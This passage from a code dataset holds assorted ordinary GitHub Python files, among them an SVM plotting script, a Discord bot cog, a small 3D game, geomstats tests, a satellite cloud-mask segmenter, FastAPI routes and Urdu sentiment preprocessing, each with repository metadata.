out data. We do not scale our\r\n# data since we want to plot the support vectors\r\nC = 1.0 # SVM regularization parameter\r\nsvc = svm.SVC(kernel='linear', C=C).fit(X, y)\r\nrbf_svc = svm.SVC(kernel='rbf', gamma=0.7, C=C).fit(X, y)\r\npoly_svc = svm.SVC(kernel='poly', degree=3, C=C).fit(X, y)\r\nlin_svc = svm.LinearSVC(C=C).fit(X, y)\r\n\r\n# create a mesh to plot in\r\nx_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\r\ny_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\r\nx_ = np.arange(x_min, x_max, h)\r\ny_ = np.arange(y_min, y_max, h)\r\nxx, yy = np.meshgrid(x_, y_)\r\n\r\n# title for the plots\r\ntitles = ('SVC with linear kernel',\r\n 'LinearSVC (linear kernel)',\r\n 'SVC with RBF kernel',\r\n 'SVC with polynomial (degree 3) kernel')\r\n\r\n\r\n\r\ndef matplotlib_to_plotly(cmap, pl_entries):\r\n h = 1.0/(pl_entries-1)\r\n pl_colorscale = []\r\n \r\n for k in range(pl_entries):\r\n C = list(map(np.uint8, np.array(cmap(k*h)[:3])*255))\r\n pl_colorscale.append([k*h, 'rgb'+str((C[0], C[1], C[2]))])\r\n \r\n return pl_colorscale\r\n\r\ncmap = matplotlib_to_plotly(plt.cm.coolwarm, 5)\r\n\r\nfig = tls.make_subplots(rows=2, cols=2,\r\n print_grid=False,\r\n subplot_titles=titles)\r\n\r\n\r\n\r\nfor i, clf in enumerate((svc, lin_svc, rbf_svc, poly_svc)):\r\n # Plot the decision boundary. For that, we will assign a color to each\r\n # point in the mesh [x_min, x_max]x[y_min, y_max].\r\n Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\r\n\r\n # Put the result into a color plot\r\n Z = Z.reshape(xx.shape)\r\n p1 = go.Contour(x=x_, y=y_, z=Z, \r\n colorscale=cmap,\r\n showscale=False)\r\n fig.append_trace(p1, int(i/2+1), i%2+1)# me he inventao el int este para que no de error\r\n #pero no se si es correcto puesto que puede salir real en vez de entero creo\r\n\r\n # Plot also the training points\r\n p2 = go.Scatter(x=X[:, 0], y=X[:, 1], \r\n mode='markers',\r\n marker=dict(color=y,\r\n colorscale=cmap,\r\n showscale=False,\r\n line=dict(color='black', width=1))\r\n ) \r\n fig.append_trace(p2, int(i/2+1), i%2+1)\r\n\r\nfor i in map(str, range(1, 5)):\r\n y = 'yaxis'+ i\r\n x = 'xaxis'+i\r\n fig['layout'][y].update(showticklabels=False, ticks='',\r\n title=\"Sepal Length\")\r\n fig['layout'][x].update(showticklabels=False, ticks='',\r\n title=\"Sepal Width\")\r\n\r\nfig['layout'].update(height=700, showlegend=False)\r\n\r\npy.plot(fig)","repo_name":"p3p31v/PCA-LDA-SVM","sub_path":"svmplotly.py","file_name":"svmplotly.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"13018750499","text":"import disnake\nfrom assets.tools.cooldown import custom_cooldown\nfrom disnake.ext import commands\nfrom assets.database.log import log_command\nfrom assets.database.database import update,retrieve\nfrom datetime import datetime\nfrom time import strftime\n\ndef setup(bot : commands.Bot):\n bot.add_cog(Subs(bot))\n\nclass Subs(commands.Cog):\n \"\"\"This will be for a ping command.\"\"\"\n\n def __init__(self, bot: commands.Bot):\n self.bot = bot\n\n\n @commands.slash_command()\n @commands.dynamic_cooldown(custom_cooldown,commands.BucketType.user)\n @commands.has_permissions(manage_channels = True, manage_messages = True)\n async def channel(ctx:disnake.ApplicationCommandInteraction):\n '''\n Register for the automatic APOD subscription \n '''\n db_guilds = retrieve('guilds')\n if ctx.guild.id in db_guilds and ctx.channel.id in db_guilds[ctx.guild.id]:\n embed = disnake.Embed(title = 'This server already has an APOD subscription',description = 'This channel had previously already been registered for the Astronomy Picture of The Day service.', color=disnake.Color.orange(),timestamp=datetime.now())\n else:\n db_guilds[ctx.guild.id] = [ctx.channel.id,strftime('%Y %B %d')]\n embed = disnake.Embed(title = 'Registered',description = 'This channel has been registered for the Astronomy Picture of The Day service.', color=disnake.Color.orange(),timestamp=datetime.now())\n\n await ctx.response.send_message(embed=embed)\n update(db_guilds,'guilds')\n await log_command('channel',ctx.user.id)\n\n @commands.slash_command()\n @commands.cooldown(1, 10, type=commands.BucketType.user)\n @commands.has_permissions(manage_channels = True, manage_messages = True)\n async def remove(ctx):\n '''\n Remove the channel from the APOD subscription\n '''\n db_guilds = retrieve('guilds') \n if ctx.guild.id in db_guilds:\n del db_guilds[ctx.guild.id]\n embed = disnake.Embed(title = 'Unsubscribed',description = 'Removed from daily APOD feed.', color=disnake.Color.orange())\n else:\n embed = disnake.Embed(title = 'Error',description = 'This server had not been registered to the APOD feed.', color=disnake.Color.orange())\n await ctx.response.send_message(embed=embed)\n update(db_guilds,'guilds')\n await log_command('remove',ctx.user.id)\n ","repo_name":"AdvaithGS/Astrobot","sub_path":"bot/assets/subscription.py","file_name":"subscription.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"28"} +{"seq_id":"21674543903","text":"\nfrom richlib import *\nimport random\nimport time\n\nTIME = 20\nNUMBER_OF_BALLS = 10\nJUMP_POWER = 2\n\nstart_time = time.time()\ntime_left = TIME\n\nCAMERA = screen.CAMERA_FIRST_PERSON\n\nballs = []\nfor i in range(0, NUMBER_OF_BALLS):\n ball = Sphere()\n ball.x = random.randint(-300, 300)\n ball.y = random.randint(10, 40)\n ball.z = random.randint(-300, 0)\n ball.color = 'green'\n balls.append(ball)\n\nscore = 0\n\nalien = Actor('trooper')\nalien.size = (10, 10, 10)\nalien.collision_radius = 5\n\nalien.yv = 0\nalien.xv = 0\nalien.zv = 0\n\nsound = Sound('eep')\nsound.volume = 0.7\nsound.pitch = 0.5\n\n\ndef draw():\n clear()\n alien.draw()\n for ball in balls:\n ball.draw()\n\n\ndef draw2d():\n if (time_left > 0):\n screen.draw_text(f\"Score: {score} Time: {time_left}\", 0, 0, 50, VIOLET)\n else:\n screen.draw_text(f\"Your Score: {score}\\nOUT OF TIME\", 30, 50, 50, RED)\n\n\ndef update():\n global score\n global time_left\n\n time_left = int(TIME + (start_time - time.time()))\n if time_left <= 0:\n return\n\n alien.yv -= 0.05\n\n alien.x += alien.xv\n alien.y += alien.yv\n alien.z += alien.zv\n\n if alien.y <= 0: # Only control when alien is on ground\n if keyboard.right:\n alien.xv += 0.1\n elif keyboard.left:\n alien.xv -= 0.1\n if keyboard.down:\n alien.zv += 0.1\n elif keyboard.up:\n alien.zv -= 0.1\n\n if keyboard.space:\n alien.yv = JUMP_POWER\n\n if alien.xv > 0.05:\n alien.xv -= 0.05\n elif alien.xv < -0.05:\n alien.xv += 0.05\n\n if alien.zv > 0.05:\n alien.zv -= 0.05\n elif alien.zv < -0.05:\n alien.zv += 0.05\n\n alien.y = 0\n\n for ball in balls:\n if alien.check_collision(ball):\n balls.remove(ball)\n sound.play()\n score += 1\n\n\nrun()\n","repo_name":"electronstudio/pygame-zero-book","sub_path":"chapters/programs/rl_demo.py","file_name":"rl_demo.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"28"} +{"seq_id":"19352708059","text":"import os\nimport shutil\nfrom PIL import Image\n\n\nsets = [\n # 'bottle',\n # 'bottle_colored',\n # 'chips',\n # 'granola',\n # 'peanut'\n]\n\ndistance = [\n '10',\n '20',\n '30',\n '40',\n # '60'\n]\n\nresolution = [\n# '1280',\n'1024',\n'800',\n'640',\n'320'\n]\n\ntest_img = Image.open('chips_10cm_0degree.jpg')\nmax_width, max_height = test_img.size\nprint (max_height)\nprint (max_width)\n\nfor j in distance:\n\tfor k in resolution: \n\n\t\t\tdst = 'distance_' + j + 'cm_' + k + '.jpg'\n\t\t\tsrc = 'distance_' + j + 'cm.jpg'\n\t\t\twidth_ratio = float(k) / max_width\n\t\t\tnew_height = max_height * width_ratio\n\t\t\tnew_size = (k, new_height)\n\t\t\timg = Image.new('RGB',(max_width, max_height), 444)\n\t\t\timg.save(dst, \"JPEG\")\n\t\t\tdel(img)\n\t\t\tshutil.copy(src, dst)\n\n\t\t\tnew_img = Image.open(dst)\n\t\t\tprint(int(k), int(new_height))\n\t\t\tnew_img = new_img.resize((int(k), int(new_height)), Image.ANTIALIAS)\n\t\t\twidth, height = new_img.size\n\t\t\tnew_img.save(dst, \"JPEG\")\n\t\t\tprint (width)\n\t\t\tprint (height)\n\t\t\t\n\n\n","repo_name":"nnoorani/redeem-team-fydp","sub_path":"image_testing/iter3/distance/rename_distance.py","file_name":"rename_distance.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"37187456309","text":"import sqlite3\nimport confuse\nimport secrets\n\nconfig = confuse.Configuration('fluffy-api', __name__)\n\nconnection = sqlite3.connect('fluffy.db')\ncursor = connection.cursor()\n\ninstallconfirm = input(\"Would you like to proceed with installation? All existing SQL configurations will be rest. \\\n(y/n): \")\nif installconfirm.upper()[0:1] == 'Y':\n username = input(\"Enter your username (email address): \")\n firstname = input(\"Enter your first name: \")\n lastname = input(\"Enter your last name (surname): \")\n apikey = secrets.token_hex(16)\n\n queries = (\"\"\"DROP TABLE IF EXISTS FluffyUsers\"\"\",\n \"\"\"\n CREATE TABLE FluffyUsers (\n ID INTEGER PRIMARY KEY AUTOINCREMENT\n , Username varchar(255) NOT NULL \n , FirstName varchar(255) NULL \n , LastName varchar(255) NULL \n , ApiKey varchar(255) NULL \n , Hash varchar(32) NULL \n );\n \"\"\",\n \"\"\"\n INSERT INTO FluffyUsers (Username,FirstName,LastName,ApiKey,Hash) \n SELECT '\"\"\" + username + \"\"\"','\"\"\" + firstname + \"\"\"','\"\"\" + lastname + \"\"\"', '\"\"\" + apikey + \"\"\"', null; \n \"\"\")\n for query in queries:\n cursor.execute(query)\n connection.commit()\n cursor.close()\n connection.close()\n\n print(\"!! DO NOT LOSE THIS !!\\nYour API key is: \" + apikey + \"\\n !! DO NOT LOSE THIS !!\")\n\n\nelse:\n print(\"Doing nothing. Goodbye!\")\n","repo_name":"sysopmatt/fluffy-api","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"2321788126","text":"import pytest\n\nimport geomstats.backend as gs\nfrom geomstats.geometry.discrete_curves import SRVMetric\nfrom geomstats.learning.frechet_mean import GradientDescent, variance\nfrom geomstats.test.random import RandomDataGenerator\nfrom geomstats.test.test_case import TestCase\nfrom geomstats.test_cases.learning._base import (\n BaseEstimatorTestCase,\n MeanEstimatorMixinsTestCase,\n)\nfrom geomstats.vectorization import repeat_point\n\n\nclass FrechetMeanTestCase(MeanEstimatorMixinsTestCase, BaseEstimatorTestCase):\n @pytest.mark.random\n def test_logs_at_mean(self, atol):\n X = self.data_generator.random_point(n_points=2)\n\n mean = self.estimator.fit(X).estimate_\n\n logs = self.estimator.space.metric.log(X, mean)\n\n result = gs.linalg.norm(logs[1] + logs[0])\n self.assertAllClose(result, gs.array(0.0), atol)\n\n @pytest.mark.random\n def test_weighted_mean_two_points(self, atol):\n X = self.data_generator.random_point(n_points=2)\n weights = gs.random.rand(2)\n\n mean = self.estimator.fit(X, weights=weights).estimate_\n\n space = self.estimator.space\n expected = space.metric.exp(\n weights[1] / gs.sum(weights) * space.metric.log(X[1], X[0]), X[0]\n )\n self.assertAllClose(mean, expected, atol=atol)\n\n\nclass ElasticMeanTestCase(FrechetMeanTestCase):\n @pytest.mark.random\n def test_logs_at_mean(self, atol):\n space = self.estimator.space\n if not isinstance(space.metric, SRVMetric):\n return\n\n X = self.data_generator.random_point(n_points=2)\n\n mean = self.estimator.fit(X).estimate_\n\n logs = space.metric.log(X, mean)\n logs_srv = space.metric.tangent_diffeomorphism(logs, base_point=mean)\n result = gs.linalg.norm(logs_srv[1] + logs_srv[0])\n\n self.assertAllClose(result, gs.array(0.0), atol)\n\n\nclass CircularMeanTestCase(FrechetMeanTestCase):\n @pytest.mark.random\n def test_against_optimization(self, n_points, atol):\n space = self.estimator.space\n X = self.data_generator.random_point(n_points)\n\n mean = self.estimator.fit(X).estimate_\n\n mean_gd = GradientDescent().minimize(space, points=X, weights=None)\n\n sum_sd_mean = gs.sum(space.metric.squared_dist(X, mean))\n sum_sd_mean_gd = gs.sum(space.metric.squared_dist(X, mean_gd))\n\n msg = f\"circular mean: {mean}, {sum_sd_mean}\\ngd: {mean_gd}, {sum_sd_mean_gd}\"\n self.assertTrue(sum_sd_mean < sum_sd_mean_gd + atol, msg)\n\n\nclass VarianceTestCase(TestCase):\n def setup_method(self):\n if not hasattr(self, \"data_generator\"):\n self.data_generator = RandomDataGenerator(self.space)\n\n def test_variance(self, points, base_point, expected, atol, weights=None):\n res = variance(self.space, points, base_point, weights=weights)\n self.assertAllClose(res, expected, atol=atol)\n\n @pytest.mark.random\n def test_variance_repeated_is_zero(self, n_samples, atol):\n base_point = point = self.data_generator.random_point(n_points=1)\n points = repeat_point(point, n_samples)\n\n self.test_variance(points, base_point, 0.0, atol)\n\n\nclass BatchGradientDescentTestCase(TestCase):\n def setup_method(self):\n if not hasattr(self, \"data_generator\"):\n self.data_generator = RandomDataGenerator(self.space)\n\n @pytest.mark.vec\n def test_against_default(self, n_points, n_reps, atol):\n points = self.data_generator.random_point(n_points)\n\n res_single = self.optimizer.minimize(self.space, points)\n\n rep_points = repeat_point(points, n_reps)\n rep_points = gs.moveaxis(rep_points, 0, 1)\n\n res = self.batch_optimizer.minimize(self.space, rep_points)\n\n self.assertAllClose(res, repeat_point(res_single, n_reps), atol)\n","repo_name":"geomstats/geomstats","sub_path":"geomstats/test_cases/learning/frechet_mean.py","file_name":"frechet_mean.py","file_ext":"py","file_size_in_byte":3801,"program_lang":"python","lang":"en","doc_type":"code","stars":1022,"dataset":"github-code","pt":"28"} +{"seq_id":"669420661","text":"from pathlib import Path\n\nimport numpy as np\nimport onnxruntime\nfrom scipy import ndimage\n\nfrom .utils import reclassify, tile_array, untile_array\n\n\nclass CSmask:\n \"\"\"Segments clouds and cloud shadows in multi-spectral satellite images.\"\"\"\n\n def __init__(\n self,\n img,\n band_order=None,\n nodata_value=None,\n ):\n \"\"\"\n :param img: Input satellite image of shape (rows, cols, bands). (ndarray).\n Requires images of Sentinel-2, Landsat-8, -7 or -5 in Top of Atmosphere reflectance [0, 1].\n Requires image bands to include at least \"Blue\", \"Green\", \"Red\", \"NIR\", \"SWIR1\", \"SWIR2\".\n Requires image bands to be in approximately 30 m resolution.\n :param band_order: Image band order. (dict).\n >>> band_order = {0: \"Blue\", 1: \"Green\", 2: \"Red\", 3: \"NIR\", 4: \"SWIR1\", 5: \"SWIR2\"}\n :param nodata_value: Additional nodata value that will be added to valid mask. (num).\n \"\"\"\n # consistency checks on input image\n if band_order is None:\n band_order = [\"Blue\", \"Green\", \"Red\", \"NIR\", \"SWIR1\", \"SWIR2\"]\n\n if isinstance(img, np.ndarray) is False:\n raise TypeError(\"img must be of type np.ndarray\")\n\n if img.ndim != 3:\n raise TypeError(\"img must be of shape (rows, cols, bands)\")\n\n if img.shape[2] < 6:\n raise TypeError(\"img must contain at least 6 spectral bands\")\n\n if img.dtype != np.float32:\n raise TypeError(\"img must be in top of atmosphere reflectance with dtype float32\")\n\n # consistency checks on band_order\n target_band_order = [\"Blue\", \"Green\", \"Red\", \"NIR\", \"SWIR1\", \"SWIR2\"]\n if band_order != target_band_order:\n if all(elem in band_order for elem in target_band_order):\n # rearrange image bands to match target_band_order\n idx = np.array(\n [\n np.where(band == np.array(band_order, dtype=\"S\"))[0][0]\n for band in np.array(target_band_order, dtype=\"S\")\n ]\n )\n img = np.stack(np.asarray([img[:, :, i] for i in range(img.shape[2])])[idx], axis=2)\n else:\n raise TypeError(\n \"img must contain at least ['Blue', 'Green', 'Red', 'NIR', 'SWIR1', 'SWIR2'] spectral bands\"\n )\n else:\n # use image bands as are\n img = np.stack(np.asarray([img[:, :, i] for i in range(img.shape[2])]), axis=2)\n\n self.img = img\n self.band_order = band_order\n self.nodata_value = nodata_value\n self.csm = self._csm()\n self.valid = self._valid()\n\n def _csm(self):\n \"\"\"Computes cloud and cloud shadow mask with following class ids: 0=background, 1=clouds, 2=cloud shadows.\n\n :returns: cloud and cloud shadow mask. (ndarray).\n \"\"\"\n # tile array\n x = tile_array(self.img, xsize=256, ysize=256, overlap=0.2)\n\n # standardize feature space\n x -= [0.19312, 0.18659, 0.18899, 0.30362, 0.23085, 0.16216]\n x /= [0.16431, 0.16762, 0.18230, 0.17409, 0.16020, 0.14164]\n\n # start onnx inference session and load model\n sess = onnxruntime.InferenceSession(str(Path(__file__).parent) + \"/model.onnx\")\n\n # predict on array tiles\n y_prob = [sess.run(None, {\"input_1\": tile[np.newaxis, :]}) for n, tile in enumerate(list(x))]\n y_prob = np.concatenate(y_prob)[:, 0, :, :, :]\n\n # untile probabilities with smooth blending\n y_prob = untile_array(\n y_prob, (self.img.shape[0], self.img.shape[1], y_prob.shape[3]), overlap=0.2, smooth_blending=True\n )\n\n # compute argmax of probabilities to get class predictions\n y = np.argmax(y_prob, axis=2).astype(np.uint8)\n\n # reclassify results\n class_dict = {\"reclass_value_from\": [0, 1, 2, 3, 4], \"reclass_value_to\": [2, 0, 0, 0, 1]}\n csm = reclassify(y, class_dict)\n\n return csm\n\n def _valid(self):\n \"\"\"Converts the cloud and cloud shadow mask into a binary valid mask with following class ids:\n 0=invalid (clouds, cloud shadows, nodata), 1=valid (rest). Invalid pixels are buffered to reduce effect of\n cloud and cloud shadow fuzzy boundaries. If CSmask was initialized with nodata_value it will be added to the\n invalid class.\n\n :returns: binary valid mask. (ndarray).\n \"\"\"\n # reclassify cloud shadow mask to binary valid mask\n class_dict = {\"reclass_value_from\": [0, 1, 2], \"reclass_value_to\": [1, 0, 0]}\n valid = reclassify(self.csm, class_dict)\n\n # dilate the inverse of the binary valid pixel mask (invalid=0)\n # this effectively buffers the invalid pixels\n valid_i = ~valid.astype(np.bool)\n valid = (~ndimage.binary_dilation(valid_i, iterations=4).astype(np.bool)).astype(np.uint8)\n\n if self.nodata_value is not None:\n # add image nodata pixels to valid pixel mask\n valid[(self.img[:, :, 0] == self.nodata_value)] = 0\n\n return valid\n","repo_name":"peterpan83/ukis-csmask","sub_path":"ukis_csmask/mask.py","file_name":"mask.py","file_ext":"py","file_size_in_byte":5131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"28"} +{"seq_id":"4670666539","text":"\nfrom fastapi import APIRouter\n\nfrom app.models.Constant import City\nfrom app.models import Route\nfrom app.services.tdx import get_routes_in\n\nrouter = APIRouter(prefix=\"/private/routes\", tags=[\"private.routes\"])\n\n\n@router.get(\"/{city}\")\nasync def add_routes(city: City):\n routes = await get_routes_in(city)\n\n try:\n name_hash = {}\n for route in routes:\n await Route.add_one(route)\n if route.name not in name_hash:\n name_hash[route.name] = set()\n\n name_hash[route.name].add(route.id)\n\n await Route.add_name_hash(name_hash)\n\n except Exception as error:\n print(error)\n\n return {\n \"message\": \"Failed to add routes\",\n \"exception_message\": error\n }\n\n return {\n \"message\": \"write routes from TDX into Redis successful\",\n \"num_of_routes\": len(routes),\n \"num_of_sub_routes\": sum([len(route.sub_routes) for route in routes])\n }\n\n\n@router.delete('/clean_name_hash')\nasync def clean_name_hash():\n try:\n await Route.clean_name_hash()\n\n except Exception as error:\n print(error)\n\n return {\n \"message\": \"Failed to clean routes name hash\",\n \"exception_message\": error\n }\n\n return {\n \"message\": \"clean routes name from Redis successful\",\n }\n","repo_name":"Rabbittee/F2E-Bus-Backend","sub_path":"app/api/private/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"36214873366","text":"# 12/8/2021\n# https://adventofcode.com/2021/day/6\n\nimport sys\nfrom collections import deque\n\ndef part1(gen_count=80):\n fname = sys.argv[1]\n\n queue = deque([0] * 9)\n\n with open(fname, 'r') as f:\n for line in f:\n for n in line.split(\",\"):\n queue[int(n)] += 1\n\n for generation in range(gen_count):\n zero = queue.popleft()\n queue.append(0)\n queue[8] += zero\n queue[6] += zero\n\n count = sum(queue)\n print(count)\n\ndef part2():\n part1(256)\n\ndef main():\n part1()\n part2()\n\nif __name__ == '__main__':\n main()","repo_name":"mattbroussard/advent-of-code-2021","sub_path":"day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"40401411902","text":"'''\r\nthis module for finding countries without entrance to the water\r\n'''\r\nfrom JSON_to_Python import *\r\ndef find_lock():\r\n countries, coordinates, landlocked, independent = json_to_python()\r\n coords = []\r\n for i in range(len(landlocked)):\r\n if landlocked[i] == 'true':\r\n coords.append(coordinates[i])\r\n return coords","repo_name":"Bdarmits/cs_ucu_lab1","sub_path":"lab1/find_locked.py","file_name":"find_locked.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"72518776396","text":"import os\n\nimport librosa\nimport numpy as np\n\n\ndef get_log_mel_spectrogram(y, sr, n_fft, win_length, hop_length, power=2, window='hamming',\n n_mels=128):\n spectrogram = np.abs(librosa.stft(y, n_fft=n_fft, win_length=win_length, hop_length=hop_length,\n window=window)) ** power\n mel_basis = librosa.filters.mel(sr, n_fft, n_mels=n_mels)\n mel_s = np.dot(mel_basis, spectrogram)\n log_mel_s = librosa.core.power_to_db(mel_s)\n return log_mel_s.transpose()\n\n\ndef wav2log_mel():\n n_fft = 1024\n win_time = 0.04\n hop_time = 0.01\n in_fold = '/home/ddy/projects/emotions/data/iemocap_5emo_wavs'\n out_fold = '/home/ddy/projects/emotions/data/iemocap_5emo_logMelW40fft1024d128'\n if not os.path.exists(out_fold):\n os.mkdir(out_fold)\n file_names = os.listdir(in_fold)\n for file_name in file_names:\n if file_name.endswith('.wav'):\n\n in_file_path = os.path.join(in_fold, file_name)\n out_file_path = os.path.join(out_fold, os.path.splitext(file_name)[0] + \".npy\")\n y, sr = librosa.load(in_file_path, sr=16000)\n win_length = int(win_time * sr)\n hop_length = int(hop_time * sr)\n\n log_s = get_log_mel_spectrogram(y=y, sr=sr, n_fft=n_fft, win_length=win_length,\n hop_length=hop_length, power=2,\n window='hamming',\n n_mels=128)\n print(file_name, log_s.shape)\n np.save(out_file_path, log_s)\n\n\nif __name__ == '__main__':\n wav2log_mel()\n\n","repo_name":"zhong-ying-china/A-lightweight-network-for-SER","sub_path":"scripts/wav2log_mel.py","file_name":"wav2log_mel.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"28"} +{"seq_id":"17669967799","text":"# Import needed packages\nimport re\nimport string\nimport numpy as np\nimport pandas as pd\n\n# Urdu Stopwords\nstopwords=['ai', 'ayi', 'hy', 'hai', 'main', 'ki', 'tha', 'koi', \n 'ko', 'sy', 'woh', 'bhi', 'aur', 'wo', 'yeh', 'rha', 'hota', \n 'ho', 'ga', 'ka', 'le', 'lye', 'kr', 'kar', 'lye', 'liye', \n 'hotay', 'waisay', 'gya', 'gaya', 'kch', 'ab', 'thy', 'thay', \n 'houn', 'hain', 'han', 'to', 'is', 'hi', 'jo', 'kya', 'thi', \n 'se', 'pe', 'phr', 'wala', 'waisay', 'us', 'na', 'ny', 'hun', \n 'rha', 'raha', 'ja', 'rahay', 'abi', 'uski', 'ne', 'haan', \n 'acha', 'nai', 'sent', 'photo', 'you', 'kafi', 'gai', 'rhy', \n 'kuch', 'jata', 'aye', 'ya', 'dono', 'hoa', 'aese', 'de', \n 'wohi', 'jati', 'jb', 'krta', 'lg', 'rahi', 'hui', 'karna', \n 'krna', 'gi', 'hova', 'yehi', 'jana', 'jye', 'chal', 'mil', \n 'tu', 'hum', 'par', 'hay', 'kis', 'sb', 'gy', 'dain', 'krny', 'tou']\n\n# load document into the memory\ndef load_doc(filename):\n file = open(filename, 'r')\n text = file.read()\n file.close()\n return text\n\n# Clean the text with stopword removal, lower case conversion, etc. \n# turn a document into clean tokens\ndef clean_doc(doc):\n tokens = doc.split()\n re_punc = re.compile('[%s]' % re.escape(string.punctuation))\n tokens = [re_punc.sub('',w) for w in tokens]\n tokens = [word for word in tokens if word.isalpha()]\n #tokens = [word for word in tokens if not word in stopwords]\n tokens = [word.lower() for word in tokens]\n tokens = [word for word in tokens if len(word)>2]\n return tokens\n\n\ndef Cleaned_X_Y(filename):\n # Import data\n df = pd.read_csv(filename, encoding='utf8', header=None)\n df.columns = ['text','target','junk']\n df.drop('junk',axis=1, inplace=True)\n df.dropna(inplace=True)\n data = df[df['target'] != 'Neative']\n\n #Get X data\n corpus = []\n for i in range(data.shape[0]):\n review = data.iloc[:,0].values[i]\n review = clean_doc(review)\n review=' '.join(review)\n corpus.append(review)\n\n X = np.array(corpus)\n\n y = data.iloc[:,1].values\n\n return X, y\n\n\ndef get_reviews(data, positive=True):\n label = 1 if positive else 0\n\n reviews = []\n labels = []\n data_senti = data[data['target']=='Positive']['text'] if positive else data[data['target']=='Negative']['text']\n data_senti = np.array(data_senti)\n #print(data_senti)\n for review in data_senti:\n reviews.append(review)\n\n for review in reviews:\n labels.append(label)\n \n return reviews, labels\n\ndef extract_label_data(data):\n positive_reviews, positive_labels = get_reviews(data, positive=True)\n negative_reviews, negative_labels = get_reviews(data, positive=False)\n\n data = positive_reviews + negative_reviews\n labels = positive_labels + negative_labels\n\n return labels, data\n","repo_name":"chakra-ai/SentimentAnalysis","sub_path":"PreProcessing.py","file_name":"PreProcessing.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"} +{"seq_id":"34175326286","text":"# -*- coding: utf-8 -*-\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport os\nfrom pathlib import Path\n\n\nclass DrawTwoDimension:\n big_disjunct_file = \"\"\n small_disjunct_file = \"\"\n train_data_row_array = []\n dataset_folder = \"\"\n after_remove = False\n graphfile_file_name= \"\"\n\n def __init__(self, train_data_row_array_pass, dataset_folder='data3', after_remove=False):\n self.train_data_row_array = train_data_row_array_pass\n self.dataset_folder = dataset_folder\n self.after_remove = after_remove\n\n def generate_files(self, small_disjunct_class):\n\n data_folder = 'dataset'\n cwd = Path.cwd()\n dataset_folder = self.dataset_folder\n if self.after_remove:\n\n self.graphfile_file_name ='after_remove_graph.png'\n self.small_disjunct_file = cwd / dataset_folder / data_folder / 'data_small_2.dat'\n self.big_disjunct_file = cwd / dataset_folder / data_folder / 'data_big_2.dat'\n\n if Path(self.small_disjunct_file).is_file():\n print(\"small_disjunct_file File exist\")\n else:\n open(self.small_disjunct_file, \"x\")\n\n else:\n self.graphfile_file_name ='before_remove_graph.png'\n self.small_disjunct_file = cwd / dataset_folder / data_folder / 'data_small.dat'\n self.big_disjunct_file = cwd / dataset_folder / data_folder / 'data_big.dat'\n\n if Path(self.big_disjunct_file).is_file():\n print(\"big_disjunct_file File exist\")\n else:\n open(self.big_disjunct_file, \"x\")\n\n small_disjunct_data_string = ''\n big_disjunct_data_string = ''\n for each_row in self.train_data_row_array:\n if each_row.class_value == small_disjunct_class:\n small_disjunct_data_string = small_disjunct_data_string + self.get_data_row_string(each_row)\n else:\n big_disjunct_data_string = big_disjunct_data_string + self.get_data_row_string(each_row)\n\n small_disjunct_file = open(self.small_disjunct_file, \"w\")\n small_disjunct_file.write(small_disjunct_data_string)\n small_disjunct_file.close()\n\n big_disjunct_file = open(self.big_disjunct_file, \"w\")\n big_disjunct_file.write(big_disjunct_data_string)\n big_disjunct_file.close()\n\n @staticmethod\n def get_data_row_string(data_row):\n data_row_string = ''\n feature_num = len(data_row.feature_values)\n for i in range(0, feature_num):\n data_row_string = data_row_string + str(data_row.feature_values[i]) + ','\n\n\n data_row_string = data_row_string + str(data_row.class_value) + '\\n'\n return data_row_string\n\n def paint(self):\n print(\"begin to paint\")\n\n file_path1 = self.big_disjunct_file\n\n df = pd.read_csv(file_path1, names=[\"x\", \"y\", \"class\"])\n plt.rcParams['figure.figsize'] = (6, 4)\n plt.rcParams['figure.dpi'] = 150\n\n columnx = df['x']\n columny = df['y']\n\n fig, ax = plt.subplots()\n ax.scatter(columnx, columny, marker='o', color='g', s=50)\n\n file_path2 = self.small_disjunct_file\n df = pd.read_csv(file_path2, names=[\"x\", \"y\", \"class\"])\n columnx = df['x']\n columny = df['y']\n\n ax.scatter(columnx, columny, marker='^', color='r', s=50)\n\n line_y1 = 4\n line_y2 = 8\n line_y3 = 12\n x1_values = [0, 16]\n y1_values = [line_y1, line_y1]\n\n plt.plot(x1_values, y1_values, 'b')\n\n x2_values = [0, 16]\n y2_values = [line_y2, line_y2]\n\n plt.plot(x2_values, y2_values, 'b')\n\n x3_values = [0, 16]\n y3_values = [line_y3, line_y3]\n\n plt.plot(x3_values, y3_values, 'b')\n\n x1_v_values = [4, 4]\n y1_v_values = [0, 16]\n\n plt.plot(x1_v_values, y1_v_values, 'b')\n\n x2_v_values = [8, 8]\n y2_v_values = [0, 16]\n\n plt.plot(x2_v_values, y2_v_values, 'b')\n\n x3_v_values = [12, 12]\n y3_v_values = [0, 16]\n\n plt.plot(x3_v_values, y3_v_values, 'b')\n\n plt.show()\n print(\"Finished to paint\")\n\n plt.savefig(self.graphfile_file_name)\n\n def paint_with_arrays(self, fig, 